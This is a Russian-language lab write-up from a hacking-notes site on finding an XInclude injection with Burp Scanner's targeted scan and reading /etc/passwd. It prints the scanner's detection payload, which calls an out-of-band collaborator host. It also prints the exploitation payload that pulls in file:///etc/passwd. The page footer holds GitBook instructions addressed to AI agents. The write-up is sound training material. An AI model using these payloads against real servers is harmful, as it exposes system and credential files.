> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/essential-skills/fast-detection-with-targeted-scanning.md).

# Быстрое обнаружение с помощью целевого сканирования

### Быстрое обнаружение уязвимостей с помощью целевого сканирования

#### Контекст лабораторной работы

В этой лабораторной работе есть уязвимость, позволяющая **читать произвольные файлы на сервере**. / Цель — **восстановить содержимое `/etc/passwd` файла менее чем за 10 минут**.

Из-за этого ограничения по времени рекомендуется использовать **Burp Scanner** вместо полного аудита приложения.

#### Временное ограничение

* Активен \*\*10-минутный таймер\*\* с начала лабораторной работы.
* Полное сканирование сайта может быть слишком медленным.
* Поэтому предпочтительнее **умно нацеливать потенциально уязвимые точки входа**.

<figure><img src="/files/805e661079f2e0c0533ede5222408ee831a07c69" alt=""><figcaption></figcaption></figure>

#### Методика

1. **Перехватите релевантный HTTP-запрос** с помощью Burp Proxy.

<figure><img src="/files/1519cc67cc7fe4249a2f8c1c6b0a083b0900b0b3" alt=""><figcaption></figcaption></figure>

Быстро проанализируйте логику запроса, чтобы определить интересующую конечную точку.

Запустите целевое сканирование через **Burp Scanner** для этого конкретного запроса.

<figure><img src="/files/891e519e01693a9cd408530766269c75c639a52b" alt=""><figcaption></figcaption></figure>

#### Конфигурация сканирования Burp

* Выбранный тип сканирования: **Обход и аудит**

<figure><img src="/files/3726d51597547c62231e178abf0c58d2afafbfae" alt=""><figcaption></figcaption></figure>

* Режим : **Быстрое сканирование**

Цель: быстро выявить эксплуатируемый вектор атаки

<figure><img src="/files/7fc24ad755cdb8854283934bd5a9b7a627ad3ef7" alt=""><figcaption></figcaption></figure>

#### Уязвимость обнаружена

Сканирование выявляет уязвимость типа **XML-инъекция (XInclude)**.

<figure><img src="/files/c1a08e53db1f0fc35e8b26a6cd91c0a708d9dd7a" alt=""><figcaption></figcaption></figure>

Исходная полезная нагрузка, обнаруженная Burp Scanner:

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

Это подтверждает, что сервер обрабатывает **XInclude** сущности без ограничений.

#### Эксплуатация: чтение `/etc/passwd`

Полезная нагрузка модифицируется, чтобы включить локальный системный файл:

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="/files/6fa46153e3324d0e44fe718641a1f090e2feb0ee" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/essential-skills/fast-detection-with-targeted-scanning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
